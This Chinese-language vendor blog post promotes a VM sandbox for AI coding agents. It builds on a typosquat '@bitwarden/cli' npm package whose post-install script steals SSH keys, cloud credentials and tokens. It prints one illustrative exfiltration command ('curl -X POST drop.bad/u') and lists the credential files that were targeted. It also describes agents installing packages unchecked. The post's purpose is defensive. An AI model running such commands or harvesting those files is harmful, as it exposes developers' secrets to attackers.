您的編碼代理人裝上了那個假 Bitwarden
4 月 22 日,有人把一個叫 @bitwarden/[email protected] 的惡意 npm 套件上傳到 npm——這是個 typosquat 抄襲套件,會把任何執行它的機器上的 SSH 金鑰、AWS/Azure/GCP 憑證、GitHub token、npm 發布 token 與 kubeconfig 一起搜刮走。它鎖定的,正是當今編碼代理人不假思索就在做的事:npm 回什麼就裝什麼。本文展示這條攻擊鏈的長相,以及代理人在 Bromure 的 VM 裡執行、而不是在您的筆電上時,會有什麼不同。
上週有人把一個名為 @bitwarden/[email protected] 的套件上傳到
npm。真正的 Bitwarden CLI 沒事。假的那個是 typosquat,附帶
一段 post-install 腳本,會讀開發者的 SSH 金鑰、AWS 憑證、
npm token 與 kubeconfig,然後把這一束 POST 到某人租來的
IP 段裡的伺服器。這裡頭埋著一個笑話——一個名義上的密碼
管理員的真正工作是偷憑證——但更有用的觀察是:在 2026 年,
最有可能去打 npm install @bitwarden/cli 的人已經不是人類
開發者了。是編碼代理人——它們會把套件管理員回傳的東西原封
不動裝下去。
好。先用三句話把消息講完。
2026 年 4 月 22 日,有人在 npm 上以 @bitwarden/[email protected]
的名字發布了一個套件。根據 Unit 42 的分析,這個套件是
一個 typosquat,被歸屬於一個自稱 TeamPCP 的團體——三週前
Datadog 已經把它和 LiteLLM 的 PyPI 入侵連起來
過——它的 post-install 腳本會掃過主機,搜刮 AWS、Azure 與
GCP 的憑證、npm 發布 token、GitHub token、SSH 金鑰與
kubeconfig,打包好之後送到攻擊者的基礎設施。OX Security
把同一事件放進更大的脈絡,稱之為
Shai-Hulud 的第三次降臨——這是一條自我複製的供應鏈
蠕蟲的最新一筆,自 2025 年 9 月起已經啃掉了數千個 npm
套件,看不出有要停下來的意思。
在談該怎麼辦之前,先把那個笑話放開:這個假 Bitwarden CLI 某種意義上正在做一個 Bitwarden CLI該做的事。 它的工作就 是知道很多憑證。只是這次的憑證,不是使用者註冊時想要它管 的那批。算了。攻擊本身機制上沒什麼意思。有意思的、也讓這 件事值得寫一篇的,是誰會去裝它。
一個沒人再打的套件。
想要真正 Bitwarden CLI 的人類開發者,通常會去 bitwarden.com/help/cli,讀一遍 文件,從一個 TLS 憑證鏈能追到熟悉廠商的頁面複製安裝指令、 然後敲下去。她也可能打錯——typosquatting 整個前提就是這 個——但她得在匆忙、視線不好且運氣不好的狀態下。
編碼代理人不匆忙,也不視線不好,也不運氣不好。它們是更糟
的東西:自信地搞錯,速度是機器級的。您要 Claude Code「把
Bitwarden 接上,讓部署腳本能從保險庫拿出 API key」,模型
——讀過一百萬篇寫著 npm install -g @bitwarden/cli 的部
落格文章的模型——就敲了 npm install -g @bitwarden/cli。
套件管理員回了某個叫 @bitwarden/cli 的套件。沒有人類
在迴圈裡看 publisher 欄位。沒有 bitwarden.com 的憑證鏈
要檢查,因為 npm 就是憑證鏈。事實上,代理人沒有任何理由
不去跑套件附帶的 post-install 腳本,因為那就是 npm 套件
做的事。
這張圖要注意的是:沒有任何一段是 bug。npm 套件本來就允許
夾帶 postinstall 腳本。這些腳本以呼叫 npm 的使用者的權限
執行。一個以使用者身分執行的腳本能讀到使用者能讀到的一切。
那就包括——而這就是當代理人在打字時會變成問題的部分——
~/.ssh/id_ed25519、~/.aws/credentials、~/.npmrc 裡那
個能讓您重新發布別人套件的 npm 發布 token、坐在您 shell
裡的 GitHub token、那個讓您能對正式環境跑 kubectl exec 的
kubeconfig。您不是為了代理人才把這些東西放在那裡,是為了
您自己放的。代理人現在借您的手在用。
如果這是 2018 年我推銷一樣的問題,到這裡我會說「所以您應該 用一個沙箱」。您也會理直氣壯地說「沙箱我聽過」。然後我們兩 個就一起去喝咖啡了。我之所以在 2026 年寫這篇,是因為那個 真正把 @bitwarden/cli 場景變成不痛不癢非事件的沙箱,和過 去十年裡被推銷的那種沙箱長得有一點不一樣——而那一點不一樣 就是整件事的重點。
真正的修法長這樣。
假設這套東西不在您的 Mac 上跑,編碼代理人是在一台 Linux
VM 裡跑,這台 VM只共享您指給它看的那個專案資料夾。再假
設這台 VM 的 ~/.aws/credentials 是個佔位字串——一個語法上
合法、但實際上沒有真東西的 AWS 憑證檔——~/.npmrc、
$GH_TOKEN 與其餘一切也比照辦理。再假設 VM 裡根本就沒有
~/.ssh/id_ed25519,只有一個被轉發進去的 ssh-agent socket,
真正的金鑰活在邊界主機側的 macOS 鑰匙圈裡。最後再假設主機
側有一個小代理,會在連線上認出這些佔位 token,然後把它們
換成真的——但只在白名單端點上,且只在請求真的離開虛擬機監
控器(hypervisor)的那一刻才換。
現在,把 @bitwarden/cli 的 post-install 腳本放在這台 VM 裡跑。
它做的事和之前完全一樣。它讀 ~/.aws/credentials。讀
~/.npmrc。讀 $GH_TOKEN。它甚至會去讀 ssh-agent socket
檔案的內容,但那是個 Unix domain socket,所以是零位元組。
它把這些東西打包,用硬編碼的 RSA-4096 金鑰加密,POST 到它
的 drop 伺服器。
drop 伺服器收到的是一份在密碼學上完全合規的、佔位字串組成 的大禮包。
圖裡有幾個值得放慢看的細節,因為這就是這個設計和容器的差別。
第一是這個代理是出向的、用白名單的、在連線上。它不是
VM 裡面的 sidecar。VM 從來沒有以任何可觸及的形式拿到真正的
GitHub token。沒有可以 dump 的環境變數,沒有可以讀的檔案,
沒有可以 scrape 的記憶體頁。代理人執行 git push 時,請求
帶著 Authorization 標頭裡的佔位離開 VM;主機上的代理認出
佔位,把您真正的 ghp_… 換進去,把請求轉發出去,把回應轉
發回來。當惡意軟體執行 curl -X POST drop.bad/u,代理去查
drop.bad,在白名單裡查不到,於是它要嘛把這條請求丟掉,要
嘛——視 VM 的出口政策——原樣轉發,裡面裝著惡意軟體抓到的那
個佔位。任何一種情況下,真正的憑證都在邊界另一側——在惡意
軟體唯一在看的那個瞬間。
第二是 SSH 金鑰在任何意義上都不是在 VM 裡。ssh-agent 跑
在 macOS。它的私鑰住在 macOS 鑰匙圈。Bromure 把 agent 的
socket 轉發進去——和 OpenSSH 從 90 年代起就在做的方式相同,
理由也相同。在 VM 裡,ssh 與 git 該怎麼用就怎麼用;底層
的簽章作業發生在主機側,在 VM 內跑的惡意軟體看不到。一個
做 cat ~/.ssh/id_ed25519 的套件會拿到 No such file or directory,
然後回家。
為什麼容器到不了這裡。
聽我說。這時候會有一個合理的反對意見:「好,但 Docker 用了 十年了,可以把代理人塞在一個容器裡跑,那不就好了嗎?」本 來會好。除了兩個無聊的理由。
第一個是,要讓一個容器對編碼代理人實際上會做的那些事——
git push、gh pr create、aws s3 cp、npm publish、
kubectl exec——有用,您最後會把 ~/.ssh、
~/.aws/credentials、~/.npmrc 與您的 GitHub token 掛進
容器裡。到這一步,post-install 腳本就 cat ~/.ssh/id_ed25519
拿到真檔案。容器沒有憑證代理;它有的是 bind mount。bind
mount 正是惡意軟體在找的那塊軟肋。
第二個是,在 macOS 上,那個容器無論如何都跑在一台隱藏的 Linux VM 裡。Docker Desktop 自帶一個;OrbStack 自帶一個; Colima 自帶一個。VM 的成本——磁碟、記憶體、開機時間——您已 經在付了。在 macOS 上,2026 年用容器的論點,不是「比較輕 量」,只是「我習慣了這樣」。Bromure 把中間那層拿掉。只有 一台 VM。它看得見、可設定、屬於您。憑證代理與 ssh-agent 轉發,是容器模型從來就沒講清楚過的兩塊。
您本來就不會去讀的那一面牆,trace 把它接住了。
關於一個代理人裝了沒人要它裝的東西,還有一件事值得說:很多
時候沒人發現。代理人跑了 npm install,代理人收到一面牆
的輸出,代理人在聊天裡把「我裝好了 Bitwarden CLI 並設定好了」
壓縮成一句話,您就翻過去了。post-install 腳本就在那面牆中
間跑。您沒讀那面牆。沒人讀那面牆。
Bromure 的會話 tracer 把那面牆接住了——每一個 prompt、每一
個工具呼叫、每一行 shell 指令、每一次檔案寫入、每一個離開
碼——並讓您在會話結束之後可以滾回去看。「找出代理人今天跑
過的每個 npm install」是一個 grep。「代理人有沒有跑過
任何在專案資料夾外寫檔案的工具?」也是一個 grep。下一個
@bitwarden/[email protected] 出現時——它一定會出現——trace 會
告訴您哪些會話碰過它、當時掛載了哪些專案資料夾。您不用從
記憶或不完整的捲動回放裡重建。會話本身就是稽核日誌。
這能接住什麼
一個在 Bromure VM 裡安裝 @bitwarden/cli(或 litellm、
axios,或下一個)的編碼代理人,去掃憑證的時候,找到
的是一個空的 SSH 目錄,與一串佔位字串組成的鑰匙圈。
post-install 腳本跑了。外傳 POST 出去了。包裝出去的是
佔位。爆炸半徑就到 VM 為止。
重設讓什麼變成非事件
如果惡意軟體除了偷憑證還做了別的事——crontab 裡的持久
化、被下毒的 ~/.bashrc、客機裡 launchd 的對應物——這
些東西沒有一個能撐過下一次 bromure reset。您不用找出
那些持久化;您只要把它丟掉。三秒鐘,新核心,繼續寫程式。
這接不住什麼
一個呼叫您已經放進白名單的真後端的套件——例如一個用您
真正的 GitHub token 去刪掉您自己儲存庫的套件——會在
線上拿到真 token,這是設計如此,因為 git push 本來就
這樣運作。防禦靠的是一份小小的出口白名單與一份會話
trace,不是無所不知。落在專案資料夾裡的傷害仍然會落在
專案資料夾裡。
還是需要一個人類
Bromure 沒辦法阻止一個編碼代理人被勸說去提交壞程式碼。 邊界保護的是您機器上的憑證;它不會審查 diff。請讀 diff。trace 讓您比較知道該讀哪些 diff。
最後一件事。
這個故事還有一個版本,裡面的教訓是「稽核您的相依套件」。 另一個版本,教訓是「不要再用 npm 了」。兩種版本都存在, 兩種都有部分道理,但這一季在您的團隊裡,兩種都不會發生。
這一季在您團隊裡真的會發生的版本是:代理人會裝上一個它 不應該裝的東西,因為代理人會裝很多東西,而它裝的長尾裡某 處,會有一個是上週三某個自稱 TeamPCP、Shai-Hulud,或下一 波自稱什麼的人傳上去的。問題就只是:當這件事發生時, post-install 腳本找到的,是秘密——還是一面牆。
Bromure Agentic Coding 就是那面牆。它還 是免費的、開放原始碼的,今天就推出。換您出招了。